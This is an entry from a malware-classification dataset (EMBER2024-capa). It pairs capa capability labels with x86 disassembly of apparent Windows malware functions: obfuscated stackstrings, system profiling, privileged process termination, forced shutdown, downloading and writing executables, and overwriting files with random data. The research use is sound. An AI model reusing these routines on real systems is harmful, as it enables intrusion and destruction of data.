joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ee0
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x40
mov cl, 0x45
mov al, 0x41
mov byte [esp + 0x17], cl
mov byte [esp + 0x1a], cl
mov cl, 0x49
mov byte [esp + 0x11], al
mov byte [esp + 0x15], al
mov al, 0x5c
mov byte [esp + 0x1e], cl
mov byte [esp + 0x21], cl
mov cl, 0x74
push ebx
mov byte [esp + 0x1c], al
mov byte [esp + 0x28], al
mov byte [esp + 0x2f], al
mov byte [esp + 0x40], al
mov bl, 0x44
mov byte [esp + 0x2c], cl
mov byte [esp + 0x33], cl
mov eax, 4
mov cl, 0x72
mov byte [esp + 0x17], bl
mov byte [esp + 0x1d], bl
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dl, 0x52
mov bl, 0x53
mov byte [esp + 0x34], cl
mov byte [esp + 0x38], cl
mov byte [esp + 0x3f], cl
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov byte [esp + 0x16], dl
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x21], dl
mov byte [esp + 0x29], bl
push eax
mov bl, 0x73
mov dl, 0x65
push ecx
push getsockname
mov byte [esp + 0x20], 0x48
mov byte [esp + 0x24], 0x57
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2f], 0x50
mov byte [esp + 0x30], 0x54
mov byte [esp + 0x32], 0x4f
mov byte [esp + 0x33], 0x4e
mov byte [esp + 0x36], 0x79
mov byte [esp + 0x37], bl
mov byte [esp + 0x39], dl
mov byte [esp + 0x3a], 0x6d
mov byte [esp + 0x3c], 0x43
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x50
mov byte [esp + 0x45], 0x6f
mov byte [esp + 0x46], 0x63
mov byte [esp + 0x47], dl
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4d], 0x30
mov byte [esp + 0x4e], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 8]
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 8]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0
push str.MHz
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop ebx
add esp, 0x40
ret
Function at 0x407020
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
sub esp, 0x430
push ebx
push ebp
mov ebp, dword [esp + 0x444]
push esi
mov esi, dword [esp + 0x444]
mov ecx, ebp
mov edx, ecx
push edi
xor eax, eax
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov dl, 0x52
and ecx, 3
mov bl, 0x54
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x40]
mov byte [esp + 0x21], dl
rep stosd dword es:[edi], eax
mov al, 0x73
mov cl, 0x45
mov byte [esp + 0x18], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x31], al
mov byte [esp + 0x3b], al
mov byte [esp + 0x12], al
mov eax, dword [esp + 0x444]
mov byte [esp + 0x23], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x37], cl
mov byte [esp + 0x22], dl
mov byte [esp + 0x2a], dl
mov byte [esp + 0x33], dl
lea ecx, [esp + 0x18]
mov byte [esp + 0x25], bl
mov byte [esp + 0x29], bl
mov byte [esp + 0x2f], bl
push eax
lea edx, [esp + 0x44]
xor ebx, ebx
push ecx
push edx
mov byte [esp + 0x25], 0x79
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x29], 0x6d
mov byte [esp + 0x2a], 0x5c
mov byte [esp + 0x2b], 0x63
mov byte [esp + 0x2c], 0x55
mov byte [esp + 0x30], 0x4e
mov byte [esp + 0x32], 0x63
mov byte [esp + 0x33], 0x4f
mov byte [esp + 0x34], 0x4e
mov byte [esp + 0x37], 0x4f
mov byte [esp + 0x38], 0x4c
mov byte [esp + 0x3c], 0x5c
mov byte [esp + 0x40], 0x56
mov byte [esp + 0x41], 0x49
mov byte [esp + 0x42], 0x43
mov byte [esp + 0x44], 0x53
mov byte [esp + 0x45], 0x5c
mov byte [esp + 0x46], 0x25
mov byte [esp + 0x48], bl
mov byte [esp + 0x1c], 0x48
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
push ebp
push ebx
push esi
lea eax, [esp + 0x2c]
push 1
push eax
lea ecx, [esp + 0x64]
push ecx
push getsockname
call fcn.00404af0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x2c
push esi
call edi
test eax, eax
jne 0x40716c
push ebp
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x430
ret
Function at 0x407180
Capabilities:
Check os version
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x594
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
push esi
lea eax, [esp + 0x104]
push edi
push eax
mov byte [esp + 0x108], 0x66
mov byte [esp + 0x1fa], 0
mov dword [esp + 0x10c], 0x9c
call ebx
mov edx, dword [esp + 0x5a8]
lea ecx, [esp + 0x4a4]
push 0x100
push ecx
push edx
call fcn.00407020
mov ebp, dword [esp + 0x5b8]
xor eax, eax
mov dword [esp + 0x20], eax
add esp, 0xc
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], eax
lea edx, [esp + 0x14]
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x18]
lea esi, [esp + 0x4a4]
mov dword [esp + 0x1c0], ecx
mov ecx, 0xc
lea edi, [esp + 0x1c4]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00406ee0
lea edx, [esp + 0x68]
mov dword [esp + 0x1a4], eax
push edx
mov dword [esp + 0x6c], 0x9c
call ebx
mov eax, dword [esp + 0x6c]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
cmp eax, 5
jne 0x407273
mov eax, dword [esp + 0x70]
test eax, eax
jne 0x407273
lea eax, [esp + 0x1a8]
push 0x413620
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x407295
lea ecx, [esp + 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [esp + 0x58]
lea eax, [esp + 0x1a8]
push edx
push 0x413138
push eax
call ebx
add esp, 0xc
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], 0x20
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x2c]
shr edx, 0x14
mov dword [esp + 0x1bc], edx
call fcn.00406c40
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1f7]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, 0x31b5d43b
imul esi
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
push edx
lea edx, [esp + 0x3e0]
push 0x413138
push edx
call ebx
mov eax, esi
mov ecx, 0x5265c00
cdq
idiv ecx
mov eax, 0x4a90be59
lea ecx, [esp + 0x44c]
mov esi, edx
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push 0x413138
push ecx
call ebx
mov eax, esi
mov ecx, 0x36ee80
cdq
idiv ecx
mov eax, 0x45e7b273
lea ecx, [esp + 0x390]
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push 0x413138
push ecx
call ebx
lea edx, [esp + 0x39c]
lea eax, [esp + 0x464]
push edx
lea ecx, [esp + 0x404]
push eax
push ecx
lea edx, [esp + 0x277]
push 0x41360c
push edx
call ebx
mov eax, dword [esp + 0x5e8]
add esp, 0x38
mov dword [esp + 0x374], eax
push 0x274
lea ecx, [esp + 0x108]
push ecx
mov ecx, ebp
call fcn.00402110
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x594
ret
Function at 0x407d10
Capabilities:
Get file size
Write file on windows

Disassembly:
sub esp, 0x404
mov eax, dword [esp + 0x408]
push ebp
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x407dd8
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x1000000
jae 0x407dd1
push ebx
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
mov dword [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.MSVCRT.dll_rand]
xor esi, esi
test esi, 0x3ff
jne 0x407dad
xor ebx, ebx
call edi
add al, bl
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
inc ebx
cmp ebx, 0x400
mov byte [esp + ebx + 0x13], dl
jl 0x407d91
lea edx, [esp + 0x10]
push 0
push edx
lea eax, [esp + 0x1c]
push 0x400
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc esi
cmp esi, 0x4000
jb 0x407d87
pop edi
pop esi
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
add esp, 0x404
ret
Function at 0x408b90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x12c
push ebx
mov dl, 0x53
push ebp
mov cl, 0x72
mov al, 0x65
push esi
mov byte [esp + 0xc], dl
mov byte [esp + 0xe], dl
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
push edi
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], al
mov byte [esp + 0x22], cl
mov byte [esp + 0x26], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], cl
mov byte [esp + 0x2f], al
xor edx, edx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x39]
mov byte [esp + 0x38], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov bl, 0x74
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x11], 0x59
mov byte [esp + 0x13], 0x54
mov byte [esp + 0x14], 0x45
mov byte [esp + 0x15], 0x4d
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x17], 0x43
mov byte [esp + 0x18], 0x75
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x43
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x21], bl
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x6c
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x5c
mov byte [esp + 0x2c], 0x76
mov byte [esp + 0x2d], 0x69
mov byte [esp + 0x2e], 0x63
mov byte [esp + 0x30], 0x73
mov byte [esp + 0x31], 0x5c
mov byte [esp + 0x32], dl
lea ebx, [esp + 0x38]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
lea ebx, [esp + 0x38]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Vwxyab_Defghijk_Mno
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x34]
push ecx
push 0xf003f
push edx
lea edx, [esp + 0x44]
push edx
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
pop ebp
pop ebx
test eax, eax
jne 0x408ce4
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0x12c
ret
xor eax, eax
add esp, 0x12c
ret

Function at 0x408e20
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.004090a0
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x408e77
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x408e48
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.004090a0
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.00408dc0
mov ecx, edi
call fcn.00408df0
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x408eb0
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.004090a0
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x408f14
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebp], 0x7d
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x409063
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x409050
cmp eax, 4
je 0x409050
cmp eax, 8
je 0x409050
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x408fdb
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x408f49
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.004090a0
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret

Function at 0x409130
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.004090a0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.004090a0
add esp, 8
ret
Function at 0x4092e0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x409260
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x409360
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4093cf
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x4093ad
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4093cf
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4093a5
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4093b8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x4095a0
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x42c
push ebx
push ebp
push esi
push edi
xor edi, edi
mov al, 0x6c
push edi
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
mov byte [esp + 0x29], al
push edi
push edi
lea eax, [esp + 0x1c]
mov esi, 1
mov bl, 0x6f
mov dl, 0x69
mov cl, 0x61
push edi
push eax
mov dword [esp + 0x40], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x44], esi
mov byte [esp + 0x24], 0x4d
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x7a
mov byte [esp + 0x27], dl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], 0x2f
mov byte [esp + 0x2c], 0x34
mov byte [esp + 0x2d], 0x2e
mov byte [esp + 0x2e], 0x30
mov byte [esp + 0x2f], 0x20
mov byte [esp + 0x30], 0x28
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], cl
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0x62
mov byte [esp + 0x3a], 0x65
mov byte [esp + 0x3b], 0x29
mov byte [esp + 0x3c], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
cmp ebx, edi
jne 0x40965b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov ecx, dword [esp + 0x440]
push edi
push closesocket
push edi
push edi
push ecx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
cmp ebp, edi
jne 0x409685
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x42c
ret
mov edx, dword [esp + 0x444]
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x34], eax
je 0x409711
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x3c]
push eax
push 0x400
push ecx
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
test esi, esi
je 0x4096d7
cmp word [esp + 0x3c], 0x5a4d
jne 0x4096fe
mov eax, dword [esp + 0x2c]
xor esi, esi
lea edx, [esp + 0x38]
push esi
push edx
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x44]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x2c]
test eax, eax
jbe 0x409706
jmp 0x4096a7
mov dword [esp + 0x30], 0
mov eax, dword [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call esi
push ebx
call esi
mov ecx, dword [esp + 0x30]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x42c
ret
Function at 0x4023c0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov ebx, eax
push edi
mov dword [ebp - 4], edx
xor edx, edx
mov eax, dword [ebp + 0xc]
mov dword [ebx + 0xc18], edx
cmp byte [ebx + 0x16], 0
mov esi, ecx
je 0x4023e3
mov al, 1
cmp byte [ebp + 8], 0
mov edi, 0x80000000
je 0x4023f4
or edi, 0x40000000
mov dword [ebp - 8], 1
test al, al
je 0x402403
or dword [ebp - 8], 2
cmp byte [ebx + 0x15], 0
je 0x40240d
xor eax, eax
jmp 0x402412
mov eax, 0x8000000
mov dword [ebp - 0xc], eax
call fcn.00405604
test eax, eax
je 0x40243f
test esi, esi
je 0x40243f
cmp word [esi], 0
je 0x40243f
push 0
push dword [ebp - 0xc]
push 3
push 0
push dword [ebp - 8]
push edi
push esi
call sub.KERNEL32.DLL_CreateFileW
mov edi, eax
jmp 0x402456
push 0
push dword [ebp - 0xc]
push 3
push 0
push dword [ebp - 8]
push edi
push dword [ebp - 4]
call sub.KERNEL32.DLL_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x40246f
call sub.KERNEL32.DLL_GetLastError
cmp eax, 2
jne 0x40246f
mov dword [ebx + 0xc18], 1
xor edx, edx
cmp edi, 0xffffffff
mov byte [ebx + 0x12], 0
setne cl
mov dword [ebx + 0xc], edx
and ecx, 1
mov byte [ebx + 0x10], 0
mov byte [ebp - 0xd], cl
cmp byte [ebp - 0xd], 0
je 0x4024d9
mov dword [ebx + 4], edi
test esi, esi
je 0x4024a4
lea eax, [ebx + 0x418]
mov edx, esi
call fcn.00405454
jmp 0x4024ad
mov word [ebx + 0x418], 0
cmp dword [ebp - 4], 0
je 0x4024c0
lea eax, [ebx + 0x17]
mov edx, dword [ebp - 4]
call fcn.00401448
jmp 0x4024cf
lea edx, [ebx + 0x17]
mov ecx, 0x10000000
mov eax, esi
call fcn.004053a0
mov edx, dword [ebx + 4]
mov eax, ebx
call fcn.004025c0
mov al, byte [ebp - 0xd]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4026cc
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov esi, ecx
test esi, esi
mov edi, eax
mov dword [esp], edx
je 0x4027ef
mov eax, dword [edi + 0xc]
test eax, eax
je 0x402707
dec eax
je 0x4026f1
dec eax
je 0x4026fd
jmp 0x402707
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
mov dword [edi + 4], eax
jmp 0x402707
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov dword [edi + 4], eax
cmp dword [edi + 0xc], 0
je 0x402759
xor ebp, ebp
cmp esi, ebp
jle 0x402775
push 0
lea eax, [esp + 8]
push eax
mov edx, esi
sub edx, ebp
cmp edx, 0x4000
jge 0x40272c
mov ecx, esi
sub ecx, ebp
jmp 0x402731
mov ecx, 0x4000
push ecx
mov eax, dword [esp + 0xc]
add eax, ebp
push eax
push dword [edi + 4]
call sub.KERNEL32.DLL_WriteFile
test eax, eax
setne bl
and ebx, 1
test bl, bl
je 0x402775
add ebp, 0x4000
cmp esi, ebp
jg 0x402713
jmp 0x402775
push 0
lea eax, [esp + 8]
push eax
push esi
push dword [esp + 0xc]
push dword [edi + 4]
call sub.KERNEL32.DLL_WriteFile
test eax, eax
setne bl
and ebx, 1
test bl, bl
jne 0x4027eb
cmp byte [edi + 0x14], 0
je 0x4027eb
cmp dword [edi + 0xc], 0
jne 0x4027eb
lea edx, [edi + 0x17]
mov eax, 0x411860
call fcn.0040d184
test al, al
je 0x4027d5
mov ecx, dword [esp + 4]
cmp ecx, esi
jae 0x402707
cmp dword [esp + 4], 0
jbe 0x402707
mov eax, edi
call fcn.00402a14
push edx
push eax
mov eax, dword [esp + 0xc]
xor edx, edx
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
push edx
push eax
xor edx, edx
mov eax, edi
call fcn.0040295c
jmp 0x402707
lea ecx, [edi + 0x17]
mov eax, 0x411860
xor edx, edx
call fcn.0040d16c
jmp 0x4027eb
mov byte [edi + 8], 1
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4028dc
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, eax
push esi
push edi
push ecx
mov edi, edx
cmp dword [ebx + 0xc], 1
mov esi, ecx
jne 0x402903
cmp esi, 0x4e20
jle 0x4028f9
mov esi, 0x4e20
push 0xfffffffffffffff6
call sub.KERNEL32.DLL_GetStdHandle
mov dword [ebx + 4], eax
push 0
lea eax, [esp + 4]
push eax
push esi
push edi
push dword [ebx + 4]
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x402954
mov eax, ebx
call fcn.00402c20
test al, al
je 0x40293b
cmp esi, 0x4e20
jle 0x40293b
mov ecx, 0x4e20
mov edx, edi
mov eax, ebx
call fcn.004028dc
jmp 0x402957
cmp dword [ebx + 0xc], 1
jne 0x40294f
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0x6d
jne 0x40294f
xor eax, eax
jmp 0x402957
or eax, 0xffffffff
jmp 0x402957
mov eax, dword [esp]
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x402c9c
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov esi, eax
call fcn.00405604
test eax, eax
je 0x402cc2
test ebx, ebx
je 0x402cc2
cmp word [ebx], 0
je 0x402cc2
push 0
push ebx
call sub.KERNEL32.DLL_CreateDirectoryW
jmp 0x402cca
push 0
push esi
call sub.KERNEL32.DLL_CreateDirectoryA
test eax, eax
je 0x402cdd
mov ecx, edi
mov edx, ebx
mov eax, esi
call fcn.004030cc
xor eax, eax
jmp 0x402cf8
call sub.KERNEL32.DLL_GetLastError
cmp eax, 2
je 0x402cec
cmp eax, 3
jne 0x402cf3
mov eax, 2
jmp 0x402cf8
mov eax, 1
pop edi
pop esi
pop ebx
ret